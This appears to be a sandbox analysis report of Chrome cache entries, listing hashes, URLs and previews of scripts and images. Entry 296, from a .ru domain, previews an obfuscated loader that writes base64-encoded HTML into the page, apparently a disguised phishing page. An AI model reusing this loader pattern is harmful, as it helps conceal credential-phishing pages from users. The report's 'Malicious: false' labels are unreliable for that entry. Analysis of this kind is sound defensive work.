Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0xc183, 0x13202138, 0x2042c1, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT./.var baa,daa,Fa,gaa,$a,kaa,oaa,qb,zaa,Aaa,Caa,Hb,Ib,Jb,Kb,Ob,Rb,Eaa,Faa,Tb,Vb,Xb,Gaa,Iaa,Kaa,dc,ec,Paa,lc,pc,Vaa,zc,Zaa,bba,Waa,aba,$aa,Yaa,Xaa,cba,fba,hba,dba,eba,lba,mba,oba,pba,Jc,rba,sba,xba,yba,zba,Aba,hd,Dba,Eba,Fba,Gba,Jba,Lba,Kba,Mba,vd,ud,Oba,Nba,Qba,wd,Rba,Sba,Tba,Uba,Vba,Id,Kd,Ld,Xba,ce,Jd,Nd,cca,gca,ze,Be,Ce,Me,Se,mca,$e,sca,tca,uca,vca,xca,gf,zca,Aca,Cca,Dca,Hca,Jca,Lca,Mca,Of,Pca,Qca,Rca,Uca,bda,Yca,fda,hda,

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	dropped
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64739)
Category:	downloaded
Size (bytes):	69908
Entropy (8bit):	5.29809183724069
Encrypted:	false
SSDEEP:	1536:qk9kTUaEjnVonZXYNtWu2scVDXYRClzlIgQXyjXlkaioEFWOqDw6usT5aXsdtkVV:HND2LlzlIgQX28XsYce
MD5:	67B596350ABAD656EFD98939307B5B9A
SHA1:	E8FD4A7BB5F7D0B95C9AD5F63E964697FDF9FE64
SHA-256:	993550830D89CF99EC3FEFBF143C3C68997A9D10B537D5C11316E8AB49A43BB6
SHA-512:	9E714E5435B991B77CC39B08DBAADE1227A971A067665431CD991EE944A0422F7979C90D2E0EE035C7EC0D730E43F98000153726EE48690A3D02FD4D21BF0256
Malicious:	false
URL:	https://js.hs-analytics.net/analytics/1734370800000/48192692.js
Preview:	/** . * HubSpot Analytics Tracking Code Build Number 1.993. * Copyright 2024 HubSpot, Inc. http://www.hubspot.com. /.var _hsq = _hsq \|\| [];._hsq.push(['setPortalId', 48192692]);._hsq.push(['trackPageView']);._hsq.push(['setLegacy', false]);._hsq.push(['addHashedCookieDomain', '224894981']);._hsq.push(['addHashedCookieDomain', '233546881']);._hsq.push(['addHashedCookieDomain', '20629287']);._hsq.push(['addHashedCookieDomain', '251652889']);._hsq.push(['addHashedCookieDomain', '132891409']);._hsq.push(['embedHubSpotScript', 'https://js-na1.hs-scripts.com/48192692.js', 'hs-script-loader']);._hsq.push(['initEventVisualizerScript']);._hsq.push(['setTrackingDomain', 'track.hubspot.com']);./* _anon_wrapper_ */ (function() {./! For license information please see hsa-prod.js.LICENSE.txt */.(hstc=hstc\|\|{}).JS_VERSION=1.1;hstc.ANALYTICS_HOST="track.hubspot.com";(hstc=hstc\|\|{}).Math={uuid:function(){if(window.navigator.userAgent.indexOf("googleweblight")>-1)return hstc.Math._mathRandomUuid();

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	1904
Entropy (8bit):	7.8716954635918785
Encrypted:	false
SSDEEP:	48:AxJYWXYuZIKJzAOZ9ZuRRZI0ay+fw0FyOn/fCstmZb:4Y7uZhMkuI8x00On/KVZb
MD5:	FB1999B0DD7BB936EFE813B988ED3A1E
SHA1:	826979D3ED0EEB75FF8E3538963A4A0A7907D6D4
SHA-256:	A21AA4F93B47B14AF3DFD925DDD8881533996582B47F008BE3411379215D0AFF
SHA-512:	DB6C3EA01E28E8042B76D93705FCEF07A0603C4BAE20CDA21C10AB81C535F94C14FD176E7B7A1026B28ACB94AA42144C3A29B3BDB4863D48A1E69B9B9CB4F6E7
Malicious:	false
URL:	https://48192692.fs1.hubspotusercontent-na1.net/hubfs/48192692/images-4.png
Preview:	RIFFh...WEBPVP8L[.../....o..m%..$!.).2.../5.G..D.w.....X..[g.{.8.m.:..DC.........6...;.Y(.r2 .w.^.b...b.H..J..}.@..~Sv.... ....A.....!%...J.Z.d .)....(.f.M.h...S:....g..L.......7ZgG.o...C...;w;w.B......0Bh6.2.&..f.;cVJ.AS.....<...U%7y.Ek.....L0...b.;.-.>.=.&........J..........................?.......nW<.>.~r6I;.K...........K."./.........~~q.........\.....N..j./.........ssx.@..5......e..sx.@.......@.g.".=u{.g..{.W........o..?....~....U.........\|q........._K.YYUE.x.h.WU..-Q.XI<.z6.m..H9xZ{.?.U........O..#?...B.../..=..D.`V..B.....-...5t\I.bcN.3Yw....Q(H....r:6.b:.....9+....'..D..\......:.dO.)....p ...t.O$.........C.zr.%.@.....ro4...mf!....r,...E...hO.{..i.MO...S.f.;....'.=9.gE.~......f..V5..........&...DkKV...H^.r.V&...SB..Q.Zf....Y....Q~*o....t...p..Z.0J...,......7.g..p..k....F.5{..#E\|...+9R'.t<.nz........+......@.!vP..(%..`5...\.{.'..Z.UDn....5.V.\|....#.w...!.D... ,.2...E..@.k.u.......\..Y%.....>..i!U.@.[A.....b3H....'R...)..4.

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2456
Entropy (8bit):	7.842157819212904
Encrypted:	false
SSDEEP:	48:K6CLQ54yWRbmPh8fiW4+GyYwvXEaeW+VL1vz0MzEXdQyhvSML:h5/WRC2fWUYwPE+maMzEX+yhv5L
MD5:	7F6EB4EC32BE7A2D55850375C4FA6358
SHA1:	B6B2D97AC3F3EB6FA9F5B4B365605CC196A3CEDF
SHA-256:	61C965D927840A8A4857C6D4A0B098B48A9B3EFC5F81656E81343B7FBC17E4E2
SHA-512:	446C0C3BA65F6D7633771AF78820983272958734EE584BF6DFA0B86790A82A0B3AC1C04F47ADF01D14B3BDFE6F572D133C70C73BD36F6FFC4CB9D2025E00EF8F
Malicious:	false
URL:	https://www.gstatic.com/ads/external/images/logo_google_ads_64px.png
Preview:	.PNG........IHDR...@...@......iq....KiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about=""/>. </rdf:RDF>.</x:xmpmeta>.<?xpacket end="r"?>-CD.....IDATx..m.TW.....y.e......e.%.F7.4.S$.b.+6.ZS...i..S)...J..m...1..l.........m.5..T.Bq.}Y`w..;...sg:.2;..=............}`.)....U._..y..7..{.......Z8q....$.Efe,.6..........?...._+..5.'.<.....:.$&.Dp....x..Qp.."`H5X5....!%\.#..kC.*...O.].o.1......Z5....s.fz..'2r(l..Y...\|.u.$@K.5.J;\..'.....]..?..`...5..P..K..Z3.M\.b...'..hRTO_.]..wc[........YM.[C.....8s....aD......<;-bBx......u.#@.......(x9.......(...\|.HIl.>..^...R.~.....=?e.......I..$.....l...X....~`YZ...l.X..a...,....D$....r......A^V.)..@...\>.Ef%=.T.aw....e.[.\|..T......k..........MA...%....-(...\|...%.T..(.A...!...M.7......8.[.g...~.{S

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65452), with CRLF line terminators
Category:	downloaded
Size (bytes):	445206
Entropy (8bit):	3.3082521262442715
Encrypted:	false
SSDEEP:	768:2ktYmG/kw91aqJM8oHVO5V9/ktYmG/kw91aqJM8oHVO5V9xlrflrP:2IYR/kw91K8XZIYR/kw91K8XbN1
MD5:	EF86B956220699C893BFA2FAD95CBAB3
SHA1:	E0B73738335611B05DAA2B76BED7782C52712092
SHA-256:	C76F7B6CA9CA55E2D063B5BF00DE354B8F0DEE13717FE289ED87A3800774C713
SHA-512:	3A3E46BBB641C61779942ADFC60F96A29CEB94D788E445C031CA0E41D1A6A389FB7B4F6E60F459707A06B6AC49057143190F6625B5A139C800EC56876EA6F79C
Malicious:	false
URL:	https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde
Preview:	<script>....if(atob("aHR0cHM6Ly9RYjA2LmZmY3d5Z2ZmLnJ1LzVHNFlWLw==") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyIC5iYWNrZ3JvdW5kIHsNCiAgICBjb250ZW50OiAiIjsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgdG9wOiAwOw0KICAgIGxlZnQ6IDA7DQogICAgcmlnaHQ6IDA7DQogICAgYm90dG9tO

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1273
Entropy (8bit):	7.763733616084762
Encrypted:	false
SSDEEP:	24:q6vI1tL2HEobuAkQycN9x0Igmz8vdU5updh4LyFRcr+XOuix3:qf1tufkQBEInz8lUU74H6+5B
MD5:	B34FCCBD0C8711ECD008A6EFF2CFD66C
SHA1:	1240231C36A07A0F052B45C6E6499E10C883A036
SHA-256:	F1DF3320F78ADD53E1D29BEC727FA105CACFC7DCDBA203955AC34313C9E34606
SHA-512:	BBD2DDD66324FE45E216B8AD34A2EF8D1F3A98793F07418198B6BD419C0271E4283508485C41B513273E4415B7ECFF3F7D92450AE51F7B9576C58F4A4585A1A7
Malicious:	false
URL:	https://fonts.gstatic.com/s/i/productlogos/gstore/v5/web-64dp/logo_gstore_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@......iq.....IDATx..X..#K.........m.m.Zo...k.mof..3x..Z.qf....;]..*u......`..!B..."D.p..gy..W]R.{./.....Z.p.7z....E........'.k.{{......R..z... E.@.k..............6..;...5....m..h....k......9.....~.......o8I.,..k....a..`m.`.?.T...."O...P...$I.X....u{C..x...."...Z....d..+.MJ..0x.....SG.k;.3a..!#.d..C...1...2.6.....3@V.:..@N.M.Br.3d....{.f...P..{27 .J...y.!..I..BN.......M...............l.%..r'...W.(.[./..<.l.#....o.....w^....@n./.'Nh..P..N...d....<.((7]. ._....vMx....,... wh.....q.5._..............l._.B.........Ir.ko.H.o...2...)\........<sV)..@y.Q.C^.{.L.vb..X!.....{/.).....'..>d.v..YB.iP9\|_0z...g..3.R..D.A...Af....G..g+.........5;..&d.D.i.+...........(~..k...."....)4.{..X......j.BA[./.I._.........\|ra..o...5..?....j..rBn....5.`....J..m.S'..j..<..yf......P.m.n....<.d.M............2....I.T.&..~..^....CpI.a..fr.5]Fk%....Y1......C......A.;pe......FI.J.N_Sr....c.Z?......z.U.4.7F...K.@.......0.8.=...u:!..U.

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.865853999293648
Encrypted:	false
SSDEEP:	48:i+8qaOHMLdhgyHBt/cTDuN9g7hzNaAUSWKA:i+mLbg2BtEHu/+hzmSNA
MD5:	7189438B65FFFABAEC412E3521A50F49
SHA1:	568D4132EE91FA14DEFFA2E3925F50B99A50065D
SHA-256:	FA52B3F8386F0370B37531601A6137BFBE39A4C2BEC8E724CB7E0E328FD8D7ED
SHA-512:	3DB985580774DEB57C74100408EBF45D02C3F4C98906EB58273E83EB29AF289254D7605317EFB760C563FE2F19A69924D36585043108EAC2B2D91AA09F0D06D3
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx..{lSU...l.... ..4(..(..{.`b..m,...B..."dCc...!N..[x........1..N^..# .D.F." ....d..^.......ll...m..M~..r{{?.s...;gDj5...=.......s.c.u..]...L.K.=...B.<:.7....{..u%.J.&J..x..n....W..F...s.......S.9)a..s.S.E..K_..R..;n..i}........0R^.@.i..v[...T/$Ca...Z... ./......]b....e.H.%....l....cv./l..F\|~hv..<I...g?..$.%..\|.Q..oh4J..... ........;u8...r.w.LvT.=tgU....M......I...%.'.P.;,P.7cS..rv..\.{.q..$....%.......5.....O...@T...b...>.M..h..!......a.q%hDL.Q..F<.<..'k.....&mv{....b...7F.=..&)zs..c....uo.......0.z"..j.#R(x....P.\|E..'..zh..._#rV.....NA1.J..._....[-kxJ.....>..U#.U3.....+P.<..{..a...)}%......D...2.~\..M...L...t.22....:....Q.q...S..<..=<u.E.p"pTI..R.%>.[d ..N...o.3.n.'....U..5...!.%..?.G...B..Z..k.m..o)Au:...5..H...Z..#Au.*\B... ..(e?...e!.....@@.7..?d@P...3....}G......A......I0x........}...e.N......%.@mr.P..3.. .n}..)J...L>,.$X.- ..Z..A...5.7.V/.E. ..6E.....7.?..a.rr..M.......).0.M.D...Y..hJZ&.Ph?p.?..'..

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	995
Entropy (8bit):	7.639192549568232
Encrypted:	false
SSDEEP:	24:FPNyy4vHNZ1YX6Hr2TUv3+N2DJnUrAh7rygfbn826RkVt+aAao:F1Qv2KHr2Yv3bywHPDpr3o
MD5:	4FBE61206A7C12DDDD6EFEB3C348E9D5
SHA1:	E73A1B9ECCA51A70DDA864D63EE24D4BB7348CA1
SHA-256:	17FD5A15FF2D0FFB050224CA1D81E01B8088E5ED6F07A4BE28292E89682C4048
SHA-512:	23E6E85EAF5AEEDC827FBF0E58E0D11D98D99EAA64AA24F8EA0C90903BE0FF329156CD3E3A50C6293C28D7FD28FFF0531F07B4E987C78A29C3CB5A228DC7BDD1
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx...d.Q..^'(..(..t...-..^.a.......bhi...(...4i. .5.`...(..,....^.}.}..$.}/..._........;...z/{..U...*....\|..W.~.......9...Se..?.Y...^I...'5............+.6=&3.t......{..... 3..6..........`..2.@......._P.o......3.p{6PF..%...W.....Tr.....7.......m{_.5.1DX.e.+>.a.1T..@.,Q..."..G.......]...O.<Yx........9..`..!..(..t...T.A...F.{^..uN...{B..bN..P..`..#..].....)V?.K..8"..P......., <......[U(.]Z ..'.....j....&."....'....>i#\|....F...Z..g.5.D0..{.....x.7...u.Ua..ECh.m....8....`..Nl.mHO[..1w.y.I....t...tW.......2.6.u0.}...f.F.>m.B....0..#.@...7...!....[.p)..z-L....Z..ts...4...T=c.0T;6R.e....W..ab...k..zT$..d}>..S..................P..?c.c.N.`W......)w.h.^7..`...TT(.g.E..-.,Mc..N. .V...5?.8..(....}.,....... .EP.8..+..... ...=...8.r..S.........N..fW.o8L..=..l`xb.c3....P......{Op.i..P&................&3.../..ph.2..UP..@....S...P...K..K..o.k..9..@.G..h.W......^..d..\.#z.\.......VdR$.:....%..........?.=-8.....IEND.B`.

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	134
Entropy (8bit):	4.888902974358046
Encrypted:	false
SSDEEP:	3:YVKBEiFFXT+4MRL2KIhfwcP2xR2GXEqRWJ6jLZHJqloRWfn:YiLtT+BbU2mn6jLZpKXf
MD5:	7A68A4362D8F1203023FC18EB0DE4820
SHA1:	BB9399AF71CF71EC659510E5336C5DF6CF0D8D0C
SHA-256:	0A7C967E1FBA67AF0509115B4EB035F4994ED1B8B8604E9BC9BD10918438B475
SHA-512:	715F8FF45BEF7A9962F68303D0C0567F59397BB1B6ACD3E63CA4B7F566BC9F3CE2EECB50F442AC9CCB952960ECB6C7745BC349CE3C63B1186A8A5B6639E528DF
Malicious:	false
URL:	https://forms.hscollectedforms.net/collected-forms/v1/config/json?portalId=48192692&utk=
Preview:	{"portalId":48192692,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":174207433}

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1741x979, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	106290
Entropy (8bit):	7.99716969201618
Encrypted:	true
SSDEEP:	3072:ibuyn9NZDLjSk2CB8bAsKDFN8+OUwNuuYWpq:y9NtjzKkpN8VLu+M
MD5:	428183BFB7C31D8C3BCC985DAC004681
SHA1:	691AE27C0FC2FE29732BD7C6907F4A9BE9253356
SHA-256:	B4F40DAF431A5CF056DFFF45E867C8C24D8107505CD46FF17B0F9102E4FE3D2B
SHA-512:	7E648B56988E9B66FCBE3DA447CEACFAC2A39D43D78604B50085CA3F64C898DDFD81F5C01F4A6854511BCC8845BABA7F8C4EC20974094F7F87AF27E4D1A78003
Malicious:	false
URL:	https://cdn.prod.website-files.com/5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp
Preview:	RIFF...WEBPVP8 .....>.......>.F.K...,..9A...in.f.Y....... j.........._.)\|u.......=.?.....'M.W........c........t........7.'.o.?.{_..@?.z\z.~.{.. .C...W._........}@?..jt......?.?......../..<....._._....G...?........_........_._.................._........G.?.`.Q./..../.....o./.A......?.\|.u/.?........s...?.............~.A.{.W....C.q.......?..`?....................y...........\|..:.................k.....o..........u..................m.....{.....q..-..f.$M.. E........L'&..^...........<.y+.-.+..5.......b...FTM.c...............JMA...$...`+.x.]... ..7kc\|..5....%.x.W{..&4......:.t....;.w@.....t..(.T)a6F........."......%\u...'D..........}..3....F.Lbh.g..g....-....3..%.W9....n.F~5R/5J..ql..~.F.B.LX.+...S.......+.0+c\|...F........;.O..i.`..D.ez+uRj.I..9..e..q...;.u.c1.'itl...F....dx..pN......Y...\|...&~>Q...o=.1`.)!.d.....A....~......8....Q.E.dj..V.`U...XUQ....o.}..pe%.-..H.....J.7........58.-.....".<..O._..N..;.i..b..1".I.}-...>......f.]...Ue....w.L._.z...

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	616865
Entropy (8bit):	5.655597551855688
Encrypted:	false
SSDEEP:	6144:a0WQsD81J0F19g2/jm54LqkL75kbmTpafFESDajQvF6Tv:vTSF19TjLTp4UQvFs
MD5:	D9B18A3EC144693F4A6BB12F43195B14
SHA1:	C82A0278F20656A23033F8076A24B73233F6FA71
SHA-256:	EF2B1BBE58E9E000071835759F663A0FA0A734497EE6EA8F1BD8EFD940D8D217
SHA-512:	0E685619715002E312A0894CF791EB3F5610CBD8C5300CFCB5025E37CD3F0EDE653A4F97675C9101F0F4E16FA78E8AD4C3C9AACAE4B42DF9604CC1037EB6995D
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-translate/_/js/k=boq-translate.TranslateWebserverUi.en_US.gi8Hjag_SbI.es5.O/ck=boq-translate.TranslateWebserverUi.9DqPC76ldIs.L.B1.O/am=g8EAAE4IyBQsBAI/d=1/exm=A7fCU,BVgquf,CHCSlb,E2VjNc,E8RCnf,EFQ78c,IZT63,Id96Vc,JNoxi,JWUKXe,KUM7Z,L1AAkb,LEikZe,MI6k7c,MnwvSb,MpJwZc,NhqZgc,NwH0H,O1Gjze,O6y8ed,OTA3Ae,PrPYRd,QIhFr,QiuiSd,QwxRbe,RMhBfe,SdcwHb,SpsfSb,UUJqVe,Uas9Hd,Ulmmrd,V3dDOb,WO9ee,XBRlNc,XVMNvd,YYmHzb,ZDZcre,ZwDk9d,_b,_tp,aW3pY,bYHiff,byfTOb,duFQFc,ebZ3mb,fmklff,gychg,hB8iWe,hKSk3e,hc6Ubd,j4UNFc,kjKdXe,lWpni,lazG7b,lsjVmc,lwddkf,m9oV,mI3LFb,mdR7q,mzzZzc,n73qwf,pjICDe,pw70Gc,qerCec,s39S4,soHxf,t1sulf,tisQVe,vopfbe,vr7JQe,w9hDv,ws9Tlc,xQtZb,xUdipf,zbML3c,zqPcjf,zr1jrb/excm=_b,_tp,mainview/ed=1/wt=2/ujg=1/rs=ANkVxDk2oRHyx9-m1ANtw4N3BDjZYkWesQ/ee=EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:SdcwHb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;Uvc8o:VDovNc;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;g8nkx:U4MzKc;iFQyKf:QIhFr;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;nAFL3:s39S4;oGtAuc:sOXFj;pXdRYb:XBRlNc;qafBPd:yDVVkb;qddgKe:xQtZb;wQlYve:aLUfP;wR5FRb:O1Gjze;xqZiqf:BBI74;yxTchf:KUM7Z;zxnPse:duFQFc/m=GILUZe,w0Gqx,BGvAMc,wg1P6b,HwavCb,qNG0Fc,SU9Rsf,PJmRvc,f6XzIb,NLiBIf,eYJrS,sJhETb,JH2zc,ff8rzd,wtngef,e2jnoe,DFTXbf,wnKIze,ycXvHb,qDN7de,Q4odOe,msAMEf,gNRIbd,LCd6Fb,onWwzb,CW8lw,rSlV0d,hKX1gf,xzbRj,CTfTTd,a6k9bf,ModSgb,c6uA6d,Py55mc,EXqMwe,FhOzRe,TIMMcb,EF8pe,bTi8wc,Tpj7Pb,u8fSBf,eM1C7d,eZKlG,UMSz0b,GjNf3d"
Preview:	"use strict";_F_installCss(".ne2Ple-suEOdc{position:fixed;display:none;z-index:var(--gm3-tooltip-plain-z-index,2101)}.ne2Ple-z59Tgd{box-sizing:border-box;min-block-size:24px;min-inline-size:40px;overflow-wrap:anywhere;overflow:hidden;padding-block:4px;padding-inline:8px;word-break:normal;max-block-size:var(--gm3-tooltip-plain-container-max-block-size,40vh)}.ne2Ple-z59Tgd::before{position:absolute;box-sizing:border-box;inline-size:100%;block-size:100%;inset-block-start:0;inset-inline-start:0;border:1px solid transparent;border-radius:inherit;content:\"\";pointer-events:none}.ne2Ple-suEOdc-OWXEXe-TSZdd,.ne2Ple-suEOdc-OWXEXe-eo9XGd,.ne2Ple-suEOdc-OWXEXe-ZYIfFd{display:inline-flex}.ne2Ple-z59Tgd-OiiCO{opacity:0;transform:scale(.8);will-change:transform,opacity}.ne2Ple-suEOdc-OWXEXe-TSZdd .ne2Ple-z59Tgd-OiiCO{opacity:1;transform:scale(1)}.ne2Ple-suEOdc-OWXEXe-ZYIfFd .ne2Ple-z59Tgd-OiiCO{transform:scale(1)}.ne2Ple-suEOdc-OWXEXe-eo9XGd-RCfa3e .ne2Ple-z59Tgd-OiiCO{transition:opacity .15s 0ms c

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1407
Entropy (8bit):	7.814272903478356
Encrypted:	false
SSDEEP:	24:NEEzy3VkxRSLL7e2StM3TfAx5YM97xZUe2n+wuL6SPrvQOTUcZXWuJicX4r:Jz03jK5jNKD+t6SjQMz9WuIB
MD5:	86179E7A662998687290621B26C17DB5
SHA1:	3940655C86D6CB6A903AF2A11BE6841332E58CED
SHA-256:	B58FAAC0139AD2B90A3ABE54C7515FBEB0B1CF8F5CA88BEC064706B8E3A981E7
SHA-512:	38E679F80DFB89CCCC130CAD8EC5A180D62098593171303CEDA267509921AC0D27478A143ACF8862CDF520E9361A4260A0C31301D01D19BA1132640B58A8FD94
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq....FIDATx.....H.E'......e..m.aN.....d....9.}...\|^.%-....&..L.+.......t....J...2d..<.E...}].K/.0._s.Z:.....Z.+.@.D.U...<..#`....X...vS..g.7.:-_...X9=...z.W.3..6.......?.....,}7....H.K....#..........o.3P:.....^..._.....Ttz.....y(.RZU:..x......{..Z..J.<.......&....Du.O.c......._...~a. .. ..........>...l2?...=..IB.$.;.\|.m+..N....':...`m{..Xy.<...P2...x1a8\|.m.....5...N...QG6.=.U.7.>.w.)...}...r...H.........N.\|...H..t.B...OsI.........m.O.._A&..99.>..bWN.c"w..C..H..ZJekjK.?..Ea?.:.5].w.9\|&..x..P..7..<.B...L..~;\|..!..g.&\.?...-J..wW....H\.E}.ly.2#.b...!..u.7.x........C..k..n.MP=./L.4&.Z....G}/..BC-..Z..NX..!.7=.Tx...&......"9.w.<.....8\|..RF^.<.....l...ZxQy...........8O9Ag9.f...I..v0<....~._.../L.5<......e...f.\|.._.n.Wiw4./c(n.;a.p....0.M8...!p\|.i....48..d.U:K'a.`.<\J{S.^`g..t.?.:...T(.,.....p)!@N.....H....n..i....@...%.}..j.._{..X.x..:..'.......N..J[......O.*...a.2....j.px.5...j............g......@...nq..p

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65452), with CRLF line terminators
Category:	downloaded
Size (bytes):	445931
Entropy (8bit):	3.311528912647808
Encrypted:	false
SSDEEP:	768:2ktYmG/kw9dM8oHVO5V9sC9ktYmG/kw9dM8oHVO5V9Ralrjlr2:2IYR/kw9u8XeC9IYR/kw9u8XXaZw
MD5:	B23EA5E972AE6B70F63756578389AE93
SHA1:	FEF17E28F1011DCC14A674AC8B343A43E39FC80E
SHA-256:	52B242B341A0F18D7BE59D5E5F4747EB67092A56A10E7060A6BAD4FD007A7A9B
